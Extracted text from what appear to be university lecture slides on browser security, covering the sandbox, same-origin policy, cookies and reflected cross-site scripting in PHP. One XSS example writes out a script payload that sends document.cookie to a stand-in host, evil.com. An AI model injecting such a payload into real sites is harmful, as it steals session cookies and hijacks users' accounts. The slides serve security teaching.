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Admin

• Lab 2 (Cryptolab) due today
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Next Major Topic!
Web+Browser Security
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Network

Big Picture: Browser and Network
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Two Sides of Web Security

(1) Web browser
• Responsible for securely confining content presented by visited websites

(2) Web applications
• Online merchants, banks, blogs, email…

• Mix of server-side and client-side code
• Server-side code written in Go, PHP, JavaScript, C++ etc.

• Client-side code written in JavaScript (… sort of)

• Client cannot be trusted: server must treat input carefully.
• Many potential bugs: XSS, XSRF, SQL injection.
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Potentially many actors!
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Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages 
• Simultaneously

• Sequentially

• Safe delegation
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Browser Security Model

Goal 1: Protect local system from web attacker
→ Browser Sandbox

Goal 2: Protect/isolate web content from other web content
→ Same Origin Policy
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Browser Sandbox

Goals: Protect local system from web attacker; protect websites from 
each other

• E.g., safely execute JavaScript provided by a website

• No direct file access, limited access to OS, network, browser data, content 
from other websites

• Tabs and iframes in their own processes

• Implementation is browser and OS specific* 
*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md
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From Chrome Vulnerability Rewards Program
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Same-Origin Policy

Only code from same origin can access HTML elements 
on another site (or in an iframe).
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www.bank.com

www.bank.com/ 
iframe.html

www.evil.com

www.bank.com/ 
iframe.html

www.bank.com (the parent) can access 
HTML elements in the iframe (and vice 

versa).

www.evil.com (the parent) cannot access 
HTML elements in the iframe (and vice 

versa).

<html> <body>

<iframe
src=“http://www.bank.com/iframe.html”>

</iframe>

</body> </html>
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http://www.example.com/
http://www.example.com/iframe.html
http://www.evil.com/
http://www.example.com/iframe.html
http://www.example.com/
http://www.evil.com/


Same Origin Policy
Goal: Protect/isolate web content from other web content
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Website origin = (scheme, domain, port)
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Same Origin Policy
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Website origin = (scheme, domain, port)

[Example from Wikipedia]4/29/2025 12

Compared URL Outcome Reason

http://www.example.com/dir/page2.html Success Same scheme, host and port

http://www.example.com/dir2/other.html Success Same scheme, host and port

http://username:password@www.example.com/dir2/other.html Success Same scheme, host and port

http://www.example.com:80/dir/other.html Success
Most modern browsers implicitly assign the protocol's default port when 
omitted.[6][7]

http://www.example.com:81/dir/other.html Failure Same scheme and host but different port

https://www.example.com/dir/other.html Failure Different scheme

http://en.example.com/dir/other.html Failure Different host

http://example.com/dir/other.html Failure Different host (exact match required)

http://v2.www.example.com/dir/other.html Failure Different host (exact match required)

data:image/gif;base64,R0lGODlhAQABAAAAACwAAAAAAQAB

AAA=
Failure Different scheme

Compare: http://www.example.com/dir/page.html

https://en.wikipedia.org/wiki/Same-origin_policy#cite_note-6
https://en.wikipedia.org/wiki/Same-origin_policy#cite_note-7


Browser Cookies
• HTTP is stateless protocol

• Browser cookies are used to introduce state
• Websites can store small amount of info in browser
• Used for authentication, personalization, tracking…
• Cookies are often secrets
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Browser

Server

POST login.php
username and pwd

GET restricted.html

Cookie: login_token=13579

HTTP Header: Set-cookie:
login_token=13579;
domain = (who can read) ;
expires = (when expires)
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Browser cookies

• Want to set a cookie?
• document.cookie="name=value; ";

• Yes its that simple

• More commonly, in the HTTP Header response

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure
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Browser cookies
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Same Origin Policy-ish: Cookie Writing

Which cookies can be set by login.site.com?

login.site.com can set cookies for all of .site.com (domain suffix), but not for 
another site or top-level domain (TLD)
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allowed domains

login.site.com

.site.com

disallowed domains

othersite.com

.com

user.site.com

✓







✓
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Same-Origin Policy: Scripts

• When a website includes a script, that script runs in 
the context of the embedding website.

• If code in script sets cookie, under what origin will it be set? 

• What could possibly go wrong…?
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www.example.com

<script src=”http://otherdomain.com/library.js">
</script>

The code from 
http://otherdomain.com
can access HTML elements 
and cookies on 
www.example.com.
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Foreshadowing: 
SOP Does Not Control Sending

• A webpage can send information to any site

• Can use this to send out secrets…
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Considerations:

• Why would website foobar.com include (directly) a script from 
baz.com?
• E.g. <script src=https://baz.com/ascript.js/>

• If they do, what could happen if baz is compromised, or decides to 
be malicious?

• Gradescope!
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Example: Cookie Theft

• Cookies often contain authentication token   
• Stealing such a cookie == accessing account

• If you can run JS inside the victim page
• You can just send the cookie wherever you want!
• How do we get this to happen…?

• Aside: Cookie theft via network eavesdropping
• Cookies included in HTTP requests
• One of the reasons HTTPS is important!
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Web Application Security:
How (Not) to Build a Secure Website
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Dynamic Web Application
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Browser

Web
server

GET / HTTP/1.1

HTTP/1.1 200 OK

index.php

Database
server

4/29/2025 23



Cross-Site Scripting
(XSS)
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PHP: Hypertext Processor

• Server scripting language 

• Can intermingle static HTML and code

<input value=<?php echo $myvalue; ?>>

• Can embed variables in double-quote strings

$user = “world”; echo “Hello $user!”;

or $user = “world”; echo “Hello” . $user . “!”;

• Form data in global arrays $_GET, $_POST, …
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Demo!
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Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term=“Can I go back to campus yet?”

search.php responds with

<html> <title>Search results</title>

<body>You have searched for <?php echo $_GET[term] ?>… 

</body>
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Echoing / “Reflecting” User Input
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naive.com/hello.php?name=

User

Welcome, dear User

naive.com/hello.php?name=<img 
src=‘http://upload.wikimedia.org/wikipedia/en/thumb/3/
39/YoshiMarioParty9.png/210px-YoshiMarioParty9.png’>

Welcome, dear
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http://www.cs.washington.edu/homes/yoshi/support/kohno-stairs2.jpg


Cross-Site Scripting (XSS)
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victim’s browser

naive.comevil.com

Access some web page

<iframe src=
http://naive.com/hello.cgi?
name=<script>win.open(
“http://evil.com/steal.cgi?
cookie=”+document.cookie) 
</script>>

Forces victim’s browser to
call hello.cgi on naive.com
with this script as “name”

GET/ hello.cgi?name=
<script>win.open(“http://
evil.com/steal.cgi?cookie=”+
document.cookie)</script>

hello.cgi
executed

<HTML>Hello, dear
<script>win.open(“http://
evil.com/steal.cgi?cookie=”
+document.cookie)</script>
Welcome!</HTML>

Interpreted as JavaScript 
by victim’s browser; 
opens window and calls 
steal.cgi on evil.com

GET/ steal.cgi?cookie=

hello.cgi

4/29/2025 29



Basic Pattern for Reflected XSS
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Attack server

Server victim 
User victim

1

2

5

Injected script can manipulate website to show 
bogus information, leak sensitive data, cause user’s 
browser to attack other websites. This violates the 
“spirit” of the same origin policy
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